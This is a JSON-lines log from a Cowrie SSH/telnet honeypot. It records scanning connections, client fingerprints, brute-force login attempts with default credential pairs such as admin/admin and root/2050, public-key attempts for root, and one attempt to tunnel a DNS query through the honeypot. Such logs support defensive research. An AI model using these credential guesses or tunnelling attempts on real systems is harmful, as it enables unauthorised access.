{"eventid":"cowrie.session.closed","duration":0.006062030792236328,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:19:40.069104Z","src_ip":"192.119.13.58","session":"9dfb76ea2a8c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59580,"dst_ip":"10.17.0.5","dst_port":23,"session":"e40217729281","protocol":"telnet","message":"New connection: 192.119.13.58:59580 (10.17.0.5:23) [session: e40217729281]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:19:42.269634Z"}
{"eventid":"cowrie.session.closed","duration":45.57619023323059,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:19:44.743132Z","src_ip":"192.119.13.58","session":"bbeec3e3edce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.54348015785217,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:19:46.816034Z","src_ip":"192.119.13.58","session":"d6b3afb84ac3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54542,"dst_ip":"10.17.0.5","dst_port":23,"session":"aa02a36dcb91","protocol":"telnet","message":"New connection: 192.119.13.58:54542 (10.17.0.5:23) [session: aa02a36dcb91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:20:05.199115Z"}
{"eventid":"cowrie.session.closed","duration":32.878368854522705,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:20:11.987426Z","src_ip":"192.119.13.58","session":"8c7ddf6a8e5b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.101.216.219","src_port":34016,"dst_ip":"159.203.135.109","dst_port":22,"session":"55ed31bccbc0","protocol":"ssh","message":"New connection: 103.101.216.219:34016 (159.203.135.109:22) [session: 55ed31bccbc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:20:15.082738Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:20:15.091986Z","src_ip":"103.101.216.219","session":"55ed31bccbc0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:20:15.332271Z","src_ip":"103.101.216.219","session":"55ed31bccbc0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2050","message":"login attempt [root/2050] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:20:16.317441Z","src_ip":"103.101.216.219","session":"55ed31bccbc0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:20:17.560122Z","src_ip":"103.101.216.219","session":"55ed31bccbc0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.411887645721436,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:20:17.681414Z","src_ip":"192.119.13.58","session":"e40217729281","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.20.28","src_port":38534,"dst_ip":"159.203.135.109","dst_port":22,"session":"35ccfe029b52","protocol":"ssh","message":"New connection: 103.82.20.28:38534 (159.203.135.109:22) [session: 35ccfe029b52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:20:19.030778Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:20:19.036325Z","src_ip":"103.82.20.28","session":"35ccfe029b52","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:20:19.305993Z","src_ip":"103.82.20.28","session":"35ccfe029b52","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:20:20.115517Z","src_ip":"103.82.20.28","session":"35ccfe029b52","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:20:21.396368Z","src_ip":"103.82.20.28","session":"35ccfe029b52","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":50380,"dst_ip":"10.17.0.5","dst_port":22,"session":"ffcbbc5fd852","protocol":"ssh","message":"New connection: 87.251.64.176:50380 (10.17.0.5:22) [session: ffcbbc5fd852]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:20:32.398226Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:20:32.403513Z","src_ip":"87.251.64.176","session":"ffcbbc5fd852","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:20:32.500491Z","src_ip":"87.251.64.176","session":"ffcbbc5fd852","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:20:32.791894Z","src_ip":"87.251.64.176","session":"ffcbbc5fd852","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:20:32.891750Z","session":"ffcbbc5fd852","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:20:32.989991Z","src_ip":"87.251.64.176","session":"ffcbbc5fd852","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:20:33.090233Z","src_ip":"87.251.64.176","session":"ffcbbc5fd852","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37506,"dst_ip":"10.17.0.5","dst_port":23,"session":"7a6664cbd4e9","protocol":"telnet","message":"New connection: 192.119.13.58:37506 (10.17.0.5:23) [session: 7a6664cbd4e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:20:38.360644Z"}
{"eventid":"cowrie.session.closed","duration":37.65495705604553,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:20:42.853943Z","src_ip":"192.119.13.58","session":"aa02a36dcb91","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56848,"dst_ip":"10.17.0.5","dst_port":23,"session":"19f619e3c6cc","protocol":"telnet","message":"New connection: 192.119.13.58:56848 (10.17.0.5:23) [session: 19f619e3c6cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:20:50.676742Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50948,"dst_ip":"10.17.0.5","dst_port":23,"session":"5b81fdc71b9a","protocol":"telnet","message":"New connection: 192.119.13.58:50948 (10.17.0.5:23) [session: 5b81fdc71b9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:20:55.186926Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52694,"dst_ip":"10.17.0.5","dst_port":23,"session":"3aeee91003f1","protocol":"telnet","message":"New connection: 192.119.13.58:52694 (10.17.0.5:23) [session: 3aeee91003f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:20:55.673824Z"}
{"eventid":"cowrie.session.closed","duration":2.513787269592285,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:20:58.187513Z","src_ip":"192.119.13.58","session":"3aeee91003f1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.76250600814819,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:21:12.123008Z","src_ip":"192.119.13.58","session":"7a6664cbd4e9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45824,"dst_ip":"10.17.0.5","dst_port":23,"session":"74f081fdf592","protocol":"telnet","message":"New connection: 192.119.13.58:45824 (10.17.0.5:23) [session: 74f081fdf592]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:21:14.976518Z"}
{"eventid":"cowrie.session.connect","src_ip":"102.220.160.42","src_port":11294,"dst_ip":"159.203.135.109","dst_port":22,"session":"9666643b503d","protocol":"ssh","message":"New connection: 102.220.160.42:11294 (159.203.135.109:22) [session: 9666643b503d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:21:15.397856Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:21:15.404598Z","src_ip":"102.220.160.42","session":"9666643b503d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.220.160.42","src_port":11302,"dst_ip":"159.203.135.109","dst_port":22,"session":"8392f41f273f","protocol":"ssh","message":"New connection: 102.220.160.42:11302 (159.203.135.109:22) [session: 8392f41f273f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:21:15.517237Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.3","message":"Remote SSH version: SSH-2.0-libssh_0.11.3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:21:15.524296Z","src_ip":"102.220.160.42","session":"8392f41f273f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:21:15.632790Z","src_ip":"102.220.160.42","session":"8392f41f273f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"demo","password":"demo123","message":"login attempt [demo/demo123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:21:15.987700Z","src_ip":"102.220.160.42","session":"8392f41f273f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:21:17.149802Z","src_ip":"102.220.160.42","session":"8392f41f273f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36312,"dst_ip":"10.17.0.5","dst_port":23,"session":"06a0a8454c78","protocol":"telnet","message":"New connection: 192.119.13.58:36312 (10.17.0.5:23) [session: 06a0a8454c78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:21:26.158717Z"}
{"eventid":"cowrie.session.closed","duration":35.958473443984985,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:21:26.635091Z","src_ip":"192.119.13.58","session":"19f619e3c6cc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.121.69.138","src_port":56080,"dst_ip":"10.17.0.5","dst_port":22,"session":"7ff384a0f472","protocol":"ssh","message":"New connection: 87.121.69.138:56080 (10.17.0.5:22) [session: 7ff384a0f472]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:21:29.062249Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:21:29.067698Z","src_ip":"87.121.69.138","session":"7ff384a0f472","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:21:29.157817Z","src_ip":"87.121.69.138","session":"7ff384a0f472","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4a:29:99:e1:2e:04:87:36:c2:7e:75:c4:de:1f:37:9c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5VPHpexep5YNqW8bMDQIJumapTw0bJzb8++DTuMTDz4/AAuCXoZI5schJ1CKJQqF1x0Drc9hsyufRB4szrZXfO1Iqd/2aK6lg2d1G2btMm39m/eOBQdLFzUbdsgjP8/2VUhEn5rKD/w32Mr2bJ0CbBgrdGa1qGFS/2coJda0pXqKlGojOXufehMlDRc0e/intwzrjpP5UA5+kdCaUgoRIiNJVlwel4q06w6eYY4t1vca2iefvgBtwHOPnamVuXECbSzep0zB7Cw/enPM1MyZP1WkjjUOAbLsskWJoof1929mEk3mD5Q3347AZ1IaOKm0MR2sZBAJ/R1LMpH94ks/X","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4a:29:99:e1:2e:04:87:36:c2:7e:75:c4:de:1f:37:9c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:21:29.554836Z","src_ip":"87.121.69.138","session":"7ff384a0f472","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4a:29:99:e1:2e:04:87:36:c2:7e:75:c4:de:1f:37:9c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5VPHpexep5YNqW8bMDQIJumapTw0bJzb8++DTuMTDz4/AAuCXoZI5schJ1CKJQqF1x0Drc9hsyufRB4szrZXfO1Iqd/2aK6lg2d1G2btMm39m/eOBQdLFzUbdsgjP8/2VUhEn5rKD/w32Mr2bJ0CbBgrdGa1qGFS/2coJda0pXqKlGojOXufehMlDRc0e/intwzrjpP5UA5+kdCaUgoRIiNJVlwel4q06w6eYY4t1vca2iefvgBtwHOPnamVuXECbSzep0zB7Cw/enPM1MyZP1WkjjUOAbLsskWJoof1929mEk3mD5Q3347AZ1IaOKm0MR2sZBAJ/R1LMpH94ks/X","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:21:29.559237Z","src_ip":"87.121.69.138","session":"7ff384a0f472","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f7:44:6a:8a:94:7e:65:6b:92:94:9f:bc:0c:31:fd:82","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCXVK/X23x3oGRYooST5JA9W5fmmKzc37fHONbQuh8XowkMcEnaYMFjMsrgmgl5/k8kAmcEY6/0vpb6R1pzC89rkJB4m5Y5ApFHsmRLUD9miDswe/ICiOTtaTS3JtA2yMvF5Vu6Yg92palcpnq9YXX12iNk/mf6XMUJ075IIt2vY+Uvp8FmpmUpRBhIZkjKbzNpuIf/EKLbmPdp7/TqRBUFAq0CAisTvkKfqdtcEG7rBdAb8r7IGNamE6+AAjRrfX6a5AgHE1oUx266g43mq5DFmSwWwUWBOr4APbDO4IYTRIs4uBFnbobVpuAKDX1clHWAx3VZu0s0CgAoa3dhSTvZ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f7:44:6a:8a:94:7e:65:6b:92:94:9f:bc:0c:31:fd:82","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:21:29.648843Z","src_ip":"87.121.69.138","session":"7ff384a0f472","protocol":"ssh"}
